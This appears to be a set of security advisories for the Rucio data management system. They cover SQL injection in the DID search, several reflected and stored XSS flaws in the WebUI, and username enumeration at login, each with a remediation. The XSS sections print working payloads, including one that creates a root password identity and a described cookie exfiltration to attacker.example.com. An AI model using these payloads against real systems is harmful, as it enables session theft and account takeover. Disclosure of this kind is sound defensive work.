Summary

A SQL injection vulnerability in the Oracle path of FilterEngine.createsqlaquery allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (GET /dids/<scope>/dids/search). Attacker-controlled filter keys and values are interpolated directly into sqlalchemy.text via Python str.format, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. The vulnerability is affecting deployments using the default metadata plugin configuration jsonmeta with Oracle database backends.

Details

Will follow in two weeks (2025-05-19).

Impact

Vulnerability type: SQL Injection (CWE-89)

Who is impacted:

- All Oracle-based Rucio deployments using the default metadata plugin configuration (jsonmeta). - Not affected are PostgreSQL/MySQL deployments using the default jsonmeta plugin (SQLAlchemy parameterizes the JSON path operations via bind parameters on non-Oracle dialects).

What an attacker can do:

- Full database read access: Extract any table including identities (password hashes and salts), tokens (active authentication sessions), accounts (user enumeration), rsesettings (storage endpoint credentials), and rules (data management policies). - Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed. - Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking. - Data modification: Oracle PL/SQL enables INSERT/UPDATE/DELETE operations via DML within subqueries and PL/SQL blocks. - Potential remote code execution: Via Oracle's UTLHTTP, DBMSSCHEDULER, or Java stored procedures if the database user has elevated privileges.

Required attacker privileges: Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The GET /dids/<scope>/dids/search endpoint is available to all authenticated users.

Summary

A SQL injection vulnerability exists in Rucio versions 1.30.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1, in FilterEngine.createpostgresquery(). This allows any authenticated Rucio user to execute arbitrary SQL against the PostgreSQL metadata database through the DID search endpoint (GET /dids/<scope>/dids/search). When the postgresmeta metadata plugin is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL strings via Python .format(), then passed to psycopg3's sql.SQL() which treats the string as trusted SQL syntax.

Depending on the database privileges assigned to the service account, exploitation can expose sensitive tables, modify or delete metadata, access server-side files, or achieve code execution through PostgreSQL features such as COPY ... FROM PROGRAM. This issue affects deployments that explicitly use the postgresmeta metadata plugin. This vulnerability has been fixed in versions 35.8.5, 38.5.5, 39.4.2, and 40.1.1.

Summary A reflected Cross-site Scripting vulnerability was located in the rendering of the ExceptionMessage of the WebUI 500 error which could allow attackers to steal login session tokens of users who navigate to a specially crafted URL.

Details The WebUI error message renders ExceptionMessage (which can contain user-controlled input) as unencoded HTML. Server code that produces the message is in common.py - specifically errorheaders -> errorresponse -> generatehttperrorflask, which places ExceptionMessage into both response headers and the JSON body. The WebUI client then injects that text into the DOM using unsafe methods (examples in lib/rucio/web/ui/static/.js such as rule.js, requestrule.js, listrules.js) with jQuery.html(...) or equivalent, enabling reflected XSS when an attacker-controlled value is included in an error message (e.g. account, attribute, scope).

PoC 1) Reflected XSS via account parameter (browse or load URL in WebUI context): text https://127.0.0.1:8443/ui/accountrseusage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E Server response (excerpt): http HTTP/1.1 500 INTERNAL SERVER ERROR ExceptionClass: AccountNotFound ExceptionMessage: Account <img src=x onerror=alert(document.cookie)> does not exist Content-Type: application/octet-stream

{"ExceptionClass":"AccountNotFound","ExceptionMessage":"Account <img src=x onerror=alert(document.cookie)> does not exist"}

XSS payload triggering (Displaying session token) when browsing to crafted URL <img width="1210" height="510" alt="XSS payload triggering (Displaying session token) when browsing to crafted URL" src="https://github.com/user-attachments/assets/989a0aed-628d-4f1c-bbfb-de434dab8af6" />

When the WebUI inserts ExceptionMessage into the page with .html(...), the injected <img onerror=...> executes and displays the users' session tokens. Note that this is a PoC only, an attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).

2) Reflected XSS via account key attribute creation error: http POST /proxy/accounts/pentest/attr/XSS HTTP/1.1 Content-Type: application/x-www-form-urlencoded Origin: https://127.0.0.1:8443 X-Rucio-Script: webui::-ui-account {"key":"XSS","value":"<script>alert(document.cookie)</script>"}

XSS payload triggering (Displaying session token) on error when creating account key <img width="1322" height="593" alt="XSS payload triggering (Displaying session token) on error when creating account key" src="https://github.com/user-attachments/assets/151cb0ad-e4f0-498e-954e-be3455ca8a72" />

Server response (excerpt) contains ExceptionMessage with the raw <script> payload; the WebUI renders it unsafely and script executes. Note that this method is less impactful since it's not something that can be triggered with a URL alone, but is listed to show that this issue affects multiple locations.

Impact Any authenticated WebUI user who follows a crafted link or triggers a request containing attacker-controlled input in a field that causes an error may execute arbitrary JavaScript in the WebUI origin. This vulnerability is more impactful due to the lack of protection of cookies (The Session token does not have HttpOnly attribute) and lack of Content Security Policy that would prevent thrid-party scripts from loading.

Attackers can steal session cookies/tokens or perform actions as the victim like creating a new UserPass identity with an attacker known password.

Example URL to Create UserPass for Root https://localhost:8443/ui/accountrseusage?account=%3Cimg%20src%3Dx%20onerror%3D(function()%7Bo%3D%7B%7D%3Bo.method%3D'PUT'%3Bo.credentials%3D'include'%3Bo.headers%3D%7B'X-Rucio-Username'%3A'attackeruser'%2C'X-Rucio-Password'%3A'AttackerPassword123'%2C'X-Rucio-Email'%3A'demo%40example.org'%2C'X-Rucio-Auth-Token'%3Atoken%7D%3Bfetch(String.fromCharCode(47)%2B'identities'%2BString.fromCharCode(47)%2B'root'%2BString.fromCharCode(47)%2B'userpass'%2Co)%7D)()%3E

Account Payload to Create UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Creating identity for Root account via reflected XSS <img width="1558" height="957" alt="Creating identity for Root account via reflected XSS" src="https://github.com/user-attachments/assets/539bfff4-70f3-42c5-b83a-10b5f85d6d44" />

All WebUI users are impacted.

Remediation / Mitigation Change all client-side insertions of server-provided text from .html(...) to .text() or create text nodes / escape HTML before insertion. Example: replace $('#elem').html(msg) with $('#elem').empty().append($('<span>').text(msg)).

Additionally, consider adding a Content Security Policy (CSP) to mitigate external script execution and set the HTTPOnly flag for session cookies. Also, the API token should not be set in a JavaScript variable as it can be accessed by an attacker even with the HTTPOnly flag set on the session cookie.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)

References: - Server functions: common.py (errorheaders, errorresponse, generatehttperrorflask) - Example client files to fix: lib/rucio/web/ui/static/rule.js, lib/rucio/web/ui/static/requestrule.js, listrules.js - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html

Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

--- Details A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.

Create Path: Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment

Trigger Paths: - User Trigger: Monitoring > Subscriptions and Rules > Show My Rules > RULE NAME (https://localhost:8443/ui/rule?ruleid=<RULEID>) - Admin Trigger: Data Transfer (R2D2) > Approve Rules > RULE NAME

Create Request http POST /proxy/rules/ HTTP/1.1 ... {"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","askapproval":true,"activity":"User Subscriptions","rseexpression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}

Response http HTTP/1.1 201 CREATED ... ["c2d675c1979d4549b26eede3531a7e6a"]

Creating RSE with XSS payload in comment <img width="1032" height="667" alt="Creating RSE with XSS payload in comment" src="https://github.com/user-attachments/assets/00258839-5288-48ed-856c-30cfee19d3c4" />

Reviewing rule creation requests <img width="1201" height="625" alt="Reviewing rule creation requests" src="https://github.com/user-attachments/assets/1b5fc7af-a664-42dc-a3d4-b00755fe2bd7" />

XSS Payload triggering on rule review <img width="1197" height="417" alt="XXS Payload triggering on rule review" src="https://github.com/user-attachments/assets/463e843a-1e9e-492e-960f-7d3edac2fd1e" />

--- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)

--- Resources - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html

Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

--- Details Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard.

Create Path: Admin > RSE Management

Trigger Paths: Admin > RSE Management Admin > RSE Management > RSE NAME

Vulnerable Attributes: City, CountryName, ISP

Request http POST /proxy/rses/XSSTEST HTTP/1.1 ... {"city":"<script>alert('CITY XSS')</script>","countryname":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"stagingarea":false}

Response http HTTP/1.1 201 CREATED ... Created

Stored XSS payload triggering in RSE listing after adding XSS payload in metadata <img width="1252" height="624" alt="Stored XSS payload triggering in RSE listing after adding XSS payload in metadata" src="https://github.com/user-attachments/assets/6546fc95-0c81-4db7-9271-37b5d4bc8f47" />

--- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)

--- Resources - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html

Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

--- Details The identity name is stored and later rendered without output encoding.

Create Path: Admin > Account Management > ACCOUNT NAME > Add Account Identity

Trigger Path: Admin > Account Management > ACCOUNT NAME (https://127.0.0.1:8443/ui/account?account=pentest)

Request http POST /proxy/accounts/pentest/identities HTTP/1.1 ... {"identity":"<script>alert(document.cookie)</script>","authtype":"SSH","email":"Test"}

Response http HTTP/1.1 201 CREATED ... Created

Storing XSS payload in account identity name <img width="1385" height="807" alt="Storing XSS payload in account identity name" src="https://github.com/user-attachments/assets/e4209ef4-fd88-492f-9fb0-afb7d04b15ce" />

Triggering XSS payload when viewing account <img width="1395" height="745" alt="Triggering XSS payload when viewing account" src="https://github.com/user-attachments/assets/e6217669-a0f7-4aba-bb05-f4fb7049611c" />

--- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)

--- References - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html

Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

--- Details A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed.

Create Path: Admin > RSE Management > RSE NAME > Add Attribute

Trigger Path: Admin > RSE Management > RSE NAME

Request http POST /proxy/rses/WEB1/attr/XSS HTTP/1.1 ... {"value":"<script>alert('XSS')</script>"}

Response http HTTP/1.1 201 CREATED ... Created

Storing XSS Payload in RSE Attribute <img width="1234" height="844" alt="Storing XSS Payload in RSE Attribute" src="https://github.com/user-attachments/assets/d10f58c2-8cea-43a9-bf7f-f94ef3d1fd81" />

XSS Payload triggering when viewing RSE <img width="1248" height="949" alt="XSS Payload triggering when viewing RSE" src="https://github.com/user-attachments/assets/d536fac2-ab44-4cfb-b669-085a8c3db33e" /> --- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)

--- Resources - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html

Summary The WebUI login endpoint returns distinct error messages depending on whether a supplied username exists, allowing unauthenticated attackers to enumerate valid usernames.

Details When submitting invalid credentials to /ui/login, the WebUI responds with different error messages based on the existence of the provided username (identity). A non-existent username results in an error indicating that no account is associated with the identity, while an existing username with an incorrect password produces a different authentication-related error.

This behavioral difference allows an attacker to distinguish valid usernames from invalid ones by observing the response content.

Proof of Concept Bogus Login (Non-existent Username "15251087") Response contains: Cannot get find any account associated with 15251087 identity.

Bogus Login (Existing Username "root", Wrong Password) Response contains: Cannot get auth token. It is possible that the presented identity root is not mapped to any Rucio account root.

The difference in error messages confirms whether a username exists.

Impact An unauthenticated attacker can enumerate valid usernames, which may be leveraged for targeted password guessing, credential stuffing, or social engineering attacks.

Remediation / Mitigation Return a generic authentication failure message for all login errors, regardless of whether the username exists. Avoid disclosing account or identity existence through error responses. Consider implementing rate limiting or additional login throttling to further reduce abuse.

Reources: - OWASP Authentication Cheat Sheet - Authentication and Error Messages: https://cheatsheetseries.owasp.org/cheatsheets/AuthenticationCheatSheet.html#authentication-and-error-messages